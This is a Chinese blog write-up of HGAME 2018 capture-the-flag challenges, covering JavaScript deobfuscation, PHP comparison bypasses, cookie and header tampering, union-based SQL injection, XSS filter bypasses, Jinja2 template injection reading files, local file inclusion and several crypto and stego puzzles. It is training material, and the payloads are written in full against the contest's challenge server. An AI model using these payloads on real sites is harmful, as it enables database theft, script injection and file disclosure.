HGAME(杭电)-2018_WriteUp

点击阅读

1. Are you from Europe?

8.jpg

flag肯定不是抽出来的吧

果然view-source发现一行代码

1
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('w p(){b a=l("8!k,j 8 o 1 m?");5(!$("#4").7()&&!$("#9").7()){2("i。");f}b 1="";1+="";1+="";1+="";1+="y";1+="{";1+="g";1+="h";1+="3";1+="6";1+="v";1+="h";1+="0";1+="s";1+="e";1+="u";1+="6";1+="0";1+="n";1+="r";1+="!";1+="}";5(a){$("#4").d();$("#9").d();2("t。1: "+1)}q{2("x。")}}',35,35,'|flag|alert||serv5|if|_|html|SSR|craft5|buy|var||remove||return|T||你根本不是欧洲人|你愿意献祭你全部的|欧洲人|confirm|吗||来获取|soHappy|else|E||兑换成功|N|C|function|你失去了唯一的机会|hgame'.split('|'),0,{}))

肯定是关键,但看不懂,百度知道原来是加密了

花点时间找到了个JS解密的html代码,即

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>JS解密</title>
</head>

<body>
<script>
a=62;
function encode() {
var code = document.getElementById('code').value;
code = code.replace(/[ ]+/g, '');
code = code.replace(/'/g, "\'");
var tmp = code.match(/(w+)/g);
tmp.sort();
var dict = [];
var i, t = '';
for(var i=0; i<tmp.length; i++) {
if(tmp[i] != t) dict.push(t = tmp[i]);
}
var len = dict.length;
var ch;
for(i=0; i<len; i++) {
ch = num(i);
code = code.replace(new RegExp('\b'+dict[i]+'\b','g'), ch);
if(ch == dict[i]) dict[i] = '';
}
document.getElementById('code').value = "eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}("
+ "'"+code+"',"+a+","+len+",'"+ dict.join('|')+"'.split('|'),0,{}))";
}

function num(c) {
return(c<a?'':num(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36));
}

function run() {
eval(document.getElementById('code').value);
}

function decode() {
var code = document.getElementById('code').value;
code2 = code.replace(/^eval/, '');
//alert(code);
document.getElementById('code').value = eval(code2);
}
</script>

<textarea id=code cols=80 rows=20>

</textarea>


<input type=button onclick=encode() value=编码>
<input type=button onclick=run() value=执行>
<input type=button onclick=decode() value=解码>
</body>
</html>

我在JS eval(function(p,a,c,k,e,r){e=function(c)*****解密 - dudumao - 博客园找的

然后运行,把eval代码放进去

注意删掉eval前的空格

9.jpg

这其实就能看到flag了,如果感觉别扭可以去站长工具把混乱的代码格式化

10.jpg

把其中形如flag += "";的连起来就是flag了

2. special number

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
include_once("flag.php");
if(isset($_GET['key'])){
$pattern = '/^(?=.*[0-9].*)(?=.*[a-zA-Z].*).{7,}$/ ';
$key = $_GET['key'];
if(preg_match($pattern,$key)===0){
echo "格式错误";
}else{
$lock="******************";
$b = json_decode($key);
if($b==$lock)
echo $flag;
else
echo "this is no special number";
}
}

这个题做了好久。。

关键在

1
2
3
$lock="******************";
$b = json_decode($key);
if($b==$lock)

一直没找到正确的绕过姿势

网上不少$message->key = $key这样的,和这里不一样

json字符串形如

var b='{"name":"2323","sex":"afasdf","age":"6262"}';//json字符串

还得利用0=="xxx"这种形式绕过

后来不知在哪看的0e开头的字符串绕过,用key={"key":0e123}这类的,怎么都不行

直接key=0e123123就行。。。前面正则要求至少7个字母和数字的字符

28.jpg

3. can u find me?

起初,页面只有一行提示:only robot know where is the flag

推测可能有个robot相关的文件,御剑后台扫描

1.jpg

robots.txt内容如下:

1
2
User-agent: *
Disallow: /f1aaaaaaaag.php

进入/f1aaaaaaaag.php,页面显示you are not admin

抓包分析

2.jpg

Cookie: user=guest改为Cookie: user=admin就行了

flag

3.jpg

4. tell me what you want

这个题就根据提示,一步步修改request就行了

随便输入后提示POST is better,post后提示

https://www.wikiwand.com/en/X-Forwarded-For,only localhost can get flag

经过一连明显的串提示,最终一共要修改4处

4.jpg

得到flag

5.jpg

5. 我们不一样

代码如下:

1
2
3
4
5
6
7
8
9
10
include_once("flag.php");
if(isset($_POST['str1'])&&isset($_POST['str2'])){

if ($_POST['str1']!=$_POST['str2']&&strcmp($_POST['str1'],$_POST['str2'])==0) {
echo "flag is:".$flag;
exit();
} else{
echo "Something wrong..";
}
}

这是比较简单的了

post的str1和str2不相等,但是strcmp弱类型相等,要利用strcmp漏洞绕过,php版本好像要小于5.3才可以利用

strcmp是比较两个字符串,如果str1<str2 则返回<0 如果str1大于str2返回>0 如果两者相等 返回0,传入 password[]=xxx 可以绕过 是因为函数接受到了不符合的类型,将发生错误,但是还是判断其相等

所以post:str1=xxx&str2[]=xxx,一个数组一个字符串,得到flag

6.jpg

白菜2

有个提示:初识文件结构

是一个图片隐写

图片地址

binwalk一跑,有个flag.txt,在foremost分离就行啦

37.jpg

终端里看不出来flag,把得到的zip包解压就行了

39.jpg

flag

38.jpg

最简单的sql题

描述

Only admin can get flag!!!!!

admin登陆,password不知道

看下

http://118.25.18.223:10015/?username=admin&pwd=xxx'

22.jpg

然后用最常见的
?username=admin&pwd=xxx' or '1'='1即可得到flag

23.jpg

xss-1

根据代码,alert(1)

1
function charge(input) { input = input.replace(/script/gi, '_'); input = input.replace(/image/gi, '_'); input = input.replace(/\(/, '_'); return '<article>' + input + '</article>'; }

看了下js的正则表达,它会替换script,image,还有(,

可以用img标签

之前做过一个把<>换成\u003\u003e来绕过<>过滤的题

这里类比一下,想把()换成\u0028\u0029

结果不行,就试了试网站上的unicode转码

playload:

<img src="1" onerror="alert&#40;1&#41;">

24.jpg

alert(1)整个转成unicode也行

<img src="1" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

拿到的flag是hgame

xss-2

这个题增加了过滤,并且在input标签内

return '<input value="' + input + '" type="text">';

输入的内容会和<input value="" type="text">拼接起来

百度input xss注入

input标签中的xss探索

Hidden属性的input标签中XSS的触发方法

感觉跟sql注入有类似的地方

当时看了好几篇文章,还可以00截断

把过滤的用unicode转一下,发现去掉<img >是可以的,后面加个%00

x" type="&#105;&#109;&#97;&#103;&#101;" src="1" onerror="alert&#40;1&#41;" name="xx">%00

其实就是<input value="x" type="image" src="x" onerror="alert(1)" name="xx">

也可以不用截断

1
1" type="&#105;&#109;&#97;&#103;&#101;" &#60;&#105;&#109;&#103;&#10; src="1" onerror="alert&#40;1&#41;"&#62; name="1

发现还能更简短

x" type="&#105;&#109;&#97;&#103;&#101;" src="1" onerror="alert&#40;1&#41;

拿到的flag是hgame

送分的SQLi

这个简单的还是可以做的

1.jpg

id,可以查询到chutiren和admin

2.jpg

order by 查询字段,表示只有两个

查询数据库

http://118.25.18.223:10068/?id=1%20union%20select%201,database()#

3.jpg

库名叫week3_sqliiii2

查询库里的表名

http://118.25.18.223:10068/?id=1%20union%20select%201,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20%27week3_sqliiii2%27)%23

4.jpg

接下来明显要查f111aa4g这个表的列

http://118.25.18.223:10068/?id=1%20union%20select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%20=%20%27week3_sqliiii2%27%20and%20table_name=%27f111aa4g%27)%23

5.jpg

获取flag

http://118.25.18.223:10068/?id=1%20union%20select%201,(select%20group_concat(id,%27*%27,dajiangyoude,%27*%27,f111aaaggg_w3)%20from%20week3_sqliiii2.f111aa4g)%23

6.jpg

ngc’s blog

描述

ngc的博客

hint:ngc不想用php,于是我向他推荐了flask ——ash

看到flash,关键得到表哥的提示ssti注入

我百度到一篇文章

服务端模板注入(SSTI攻击) - tyomcat - 博客园

虽然不怎么懂,不过照做就行

1
{{ ''.__class__.__mro__[2].__subclasses__() }}

放到url后面

25.jpg

看这跟文章里一样,也有<type 'file'>类,

26.jpg

我不知道索引在哪看的,把后面代码的/etc/passwd改成flag

因为,题目里有提示,flag在flag里

然后就得到flag了

1
{{ ''.__class__.__mro__[2].__subclasses__()[40]('flag').read() }}

27.jpg

easy Caesar

题目描述:相信你们都知道啥是凯撒加密的,so Ciphertext:vuoas{Hvs_ei8qy_pf7kb_1l_xIadg_cjSf_o_Zo9m_rCu}

凯撒解密

12.jpg

flag居然不对,纳闷了好久。。

感觉数字有问题,发现所有列举出来的结果中,数字都没变

把8改成1较合理,同样7改0,9改7,两两相差7,唯独1不知道改什么

挨个试试,发现1改4。。

所以flag是

hgame{The_qu1ck_br0wn_4x_jUmps_ovEr_a_La2y_dOg}

confusion

题目是一段–/.-./.-../-/-.-/-…./-.-/-..-/-./…-/–../-..-/–.-/.–/-…/…/-./.-/..—/..-./…/..-/..—/–./–./-…/…/.–/….-/…../-…/…/.-../.-/–../..-./..-/-…./…/…-/.—/-…/-./-../.-/–../…/.-./…./..-/-…./–.-/-…-/-…-/-…-/-…-

一猜就是摩斯密码

7.jpg

得到的一段还以为是base64,转出来是乱码,那就是base32了

直接在IDLE里转了,转完32,还得转次63

8.jpg

花括号这么靠后,不是flag标准形式,因该是栅栏解密

9.jpg

明显还得再用凯撒解密

列出所有组合,得到flag

10.jpg

re0

下载了一个re0.exe,放到ida里

f5查看伪代码

就得到了flag

11.jpg

pacp1

下载flag.pcap,wireshark分析

嗯。。在分组详情里面搜索hgame字符串就行了

13.jpg

草莓社区-1

描述

flag在../flag.php

知识点:LFI

本地包含

试下那个flag.php,最后要这样写

118.25.18.223:10011/show_maopian.php?mao=../flag.php

抓包,在response里得到flag

14.jpg

还必须是../flag,必须两个点。。

草莓社区-2

和草莓社区-1差不多,在../flag

这里可通过PHP内置协议直接读取../flag的代码

之前做过类似的题,blog上有记录,直接搬过来改一改

php://filter/read=convert.base64-encode/resource=../flag.php

同草莓社区-1一样加在show_maopian.php?mao=后面

flag还是在response里,将返回的base64解码即可

15.jpg

White cosmos

压缩包内有个pure.txt,内容好像是一些空格,反正没有文字

hex fiend看一看

16.jpg

这个0x09就是tab键,0x20可能空格吧

我就把09当”-“,20当”.“,空格当”/“分隔,转成了摩尔斯码

17.jpg

解码后是

QHZ%ueZFQCZC%ufPC%ueZCQBZPPHQCZCY%uePLY%ueC%ueQHXF%ueBZCY%ue%ueP%ueHPBZPZC%ufK

感觉不对,回头把09当1,20当0转成二进制

18.jpg

结果转不出来,于是将hgame转成二进制对比发现开头得加个0!

19.jpg

flag

20.jpg

easy password

描述

听说你们有人喜欢暴力解题,那么就来暴力一下,测测电脑性能吧。

hint:小写字母+数字

我还以为伪加密,没折腾出来

老实爆破了

21.jpg

flag

hgame{0pos_You_5ound_m3_HAHA}


文章作者: J0k3r
文章链接: http://j0k3r.top/2018/03/02/HGAME_WP/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog